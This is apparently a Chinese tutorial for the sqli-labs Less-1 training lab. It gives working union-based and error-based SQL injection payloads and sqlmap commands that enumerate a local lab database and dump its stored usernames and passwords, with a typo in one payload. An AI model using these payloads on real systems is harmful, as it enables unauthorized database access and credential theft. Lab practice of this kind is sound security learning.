union联合注入(方法一)

进入靶场

按照要求提交一个id:http://192.168.121.131/sqli/Less-1/?id=1

数据库执行语句:select * from news where id=1页面返回描述:返回内容正常

正常浏览页面,找到有参数的地方,如id

判断注入点

1.使用单引号来判断是否有注入点?id=1'

出现报错说明有注入点

判断注入类型

判断是数字型还是字符类型

数字型注入判断:

?id=1 and 1=1如果是数字型页面正常

?id=1 and 1=2如果是数字型页面返回内容为空,因为sql语句中,1=2不成立

以下页面都是正常的,可以判断这是一个字符串注入

字符串类型判断:

使用单引号和--+闭合进行判断

?id=1' and 1=1--+如果是字符型页面正常

?id=1' and 1=2--+如果是字符型页面返回内容为空,因为sql语句中,1=2不成立

以下页面的?id=1' and 1=2--+返回内容为空,可以判断这是一个字符串注入

判断字段

通过SQL语句中order by N 来判断有几个字段

order by N 页面报错 字段为N-1

字符型判断字段:

?id=1' order by 1--+ 页面正常

?id=1' order by 2--+ 页面正常

?id=1' order by 3--+ 页面正常

?id=1' order by 4--+ 页面报错

由此得出有3个字段

显位

id=1' and 1=2 union select 1,2,3--+

查库名

id' and 1=2 union select 1,database(),3--+

得到库名 security

查表

?id=1' and 1=2 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

查到 四个表emails,referers,uagents,users

查列名

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查出列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查内容

#单个账号和密码
?id=1' and 1=2 union select 1,username,passwoed form users--+

所有的账号和密码
?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

报错注入(方法二)

前四步(判断注入点,判断类型,判断字段,显位)和union联合注入一样

报错注入模板:

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(查询语句))),3 --+

查库

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

报错信息成功查询到了库名

查表

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+

查到 四个表emails,referers,uagents,users

查列名

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))),3 --+

查出列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查内容

# 查询账号
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(username) from users))),3 --+
# 查询密码
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(password) from users))),3 --+

sqlmap工具

启动工具sqlmap

python sqlmap.py

来到靶场,安装要求添加ID?id=1

sqlamp查找漏洞注入点

  • 这样步可以直接跳过,从查库开始

复制路径http://192.168.121.129:8002/Less-1/?id=1

回到sqlmap工具的终端

-u: 添加一个url

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1

通过工具扫描出有4中方法可以注入

查库

默认工具使用方法注入,不指定方法

--dbs:查询数据库

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 --dbs

在运行过程中有提示回车默认选项就完事了

查出5个库,要对其进行判断,我们要查哪一个库,才能找到我们要查的内容

challenges

information_schema:系统库无需查

mysql:系统库无需查

performance_schema系统库无需查

security

查表

-dbs改为-D+库名secrity

--tables 查表

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security --tables

查出4个表,其中有一个users的表名,无需判断直接查表

 emails

referers

uagents

users

查列名

--columns 查列名

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users --columns

有四个列名查列名id,password,username的内容

查账号密码

使用--dump输出内容

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users -C id,password,username --dump

得出所以账号密码内容:

Less-1(GET字符型)的更多相关文章

  1. 字符型图片验证码识别完整过程及Python实现

    字符型图片验证码识别完整过程及Python实现 1   摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...

  2. [转]字符型IP地址转换成数字IP的SQL函数

    使用SQL函数可以实现许多的功能,下面为您介绍的是字符型IP地址转换成数字IP的SQL函数示例,供您参考,希望对您学习SQL函数能够有所帮助.      /**//*--调用示例       sele ...

  3. c++之字符型中的特殊字符回车符

    1.字符型的应用之强制类型转换: #include<iostream> using namespace std; int main() { ;i<;i++) { cout<&l ...

  4. FineReport根据点击次数奇偶性排序之字符型

    上一篇文章我们提到了字段为数据型的数据列排序方法,采用的是根据点击次数奇偶性来排序,那如果是字段为字符型,又该如何实现呢? 这里提供的解决思路是通过超级链接来实现升序降序两张模板之间的相互调用,每点击 ...

  5. (转)C语言16进制输出字符型变量问题

    最近在做一个C的嵌入式项目,发现在C语言中用printf()函数打印字符型变量时,如果想采用"%x"的格式将字符型变量值以十六进制形式打印出来,会出现一个小问题,如下: char  ...

  6. 如何为编程爱好者设计一款好玩的智能硬件(九)——LCD1602点阵字符型液晶显示模块驱动封装(下)

    六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...

  7. 如何为编程爱好者设计一款好玩的智能硬件(八)——LCD1602点阵字符型液晶显示模块驱动封装(中)

    六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...

  8. 如何为编程爱好者设计一款好玩的智能硬件(七)——LCD1602点阵字符型液晶显示模块驱动封装(上)

    当前进展: 一.我的构想:如何为编程爱好者设计一款好玩的智能硬件(一)——即插即用.积木化.功能重组的智能硬件模块构想 二.别人家的孩子:如何为编程爱好者设计一款好玩的智能硬件(二)——别人是如何设计 ...

  9. 让人又爱又恨的char(字符型)

    今天来总结一下char型,平常写算法的时候对这个东西感觉都有一点绕着走,说到底还是对这部分的知识不熟悉所以有点怕他,不过以后不要怕,今天来总结一下 首先,说到字符型数据类型,char型,恩它是一种数据 ...

  10. 在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’;输出这个数组中的所有元素。

    //在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’:输出这个数组中的所有元素. char [][]y=new char [10][10 ...

随机推荐

  1. NOIP2011 提高组 聪明的质监员(二分+前缀和)

    看到这道题,应该都能想到用二分,那问题是怎么去判定呢? 我们考虑用前缀和(a1统计w,a2统计v),枚举每个矿石,,当前判定的值是x,如果该矿石的w>=x,a1[i]=a1[i-1]+1,a2[ ...

  2. mujoco d4rl 安装问题

    最近mujoco免费了,属实爽歪歪,安装d4rl没有以前那么麻烦了(不知为何半年前我安装d4rl时走了那么多弯路) mujoco安装 在 https://mujoco.org/download 上面下 ...

  3. http://localhost:8282/user/findsomeuser[object%20Object]

    查看vue中的方法的访问路径是否填写正确. 后端:

  4. 动词时态=>3.现在时态和过去时态构成详解

    现在时态构成详解 一般现在时态 最容易构成的时态,直接加动词原形(字典当中显示的词条)就可以 第三人称"单数"的话需要加s 这是最容易出错的时态:容易将 现在的时间,和一般的状态: ...

  5. 机器学习实战-AdaBoost

    1.概念 从若学习算法出发,反复学恶习得到一系列弱分类器(又称基本分类器),然后组合这些弱分类器构成一个强分类器.简单说就是假如有一堆数据data,不管是采用逻辑回归还是SVM算法对当前数据集通过分类 ...

  6. Ubuntu安装Docker及镜像加速器

    一.安装Docker sudo apt-get update && sudo apt-get install -y apt-transport-https ca-certificate ...

  7. onps栈使用说明(1)——API接口手册

    1. 底层API 由协议栈底层提供的api,用于涉及底层操作的一些功能实现,这些api接口函数的原型定义分布于不同的文件,它们被统一include进了onps.h中: open_npstack_loa ...

  8. [leetcode] 994. Rotting Oranges

    题目 You are given an m x n grid where each cell can have one of three values: 0 representing an empty ...

  9. Vue2 到 Vue3,重温这 5 个常用的 API

    距离Vue3发布已经过去一年多时间了,从Vue2到Vue3是一个不小的升级,包括周边生态等.虽然目前大多数开发者们在使用的仍旧以Vue2为准,但Vue3显然是Vue开发者们未来必须面对的,而且前不久V ...

  10. 基于SpERT的中文关系抽取

    SpERT_chinese 基于论文SpERT: "Span-based Entity and Relation Transformer"的中文关系抽取,同时抽取实体.实体类别和关 ...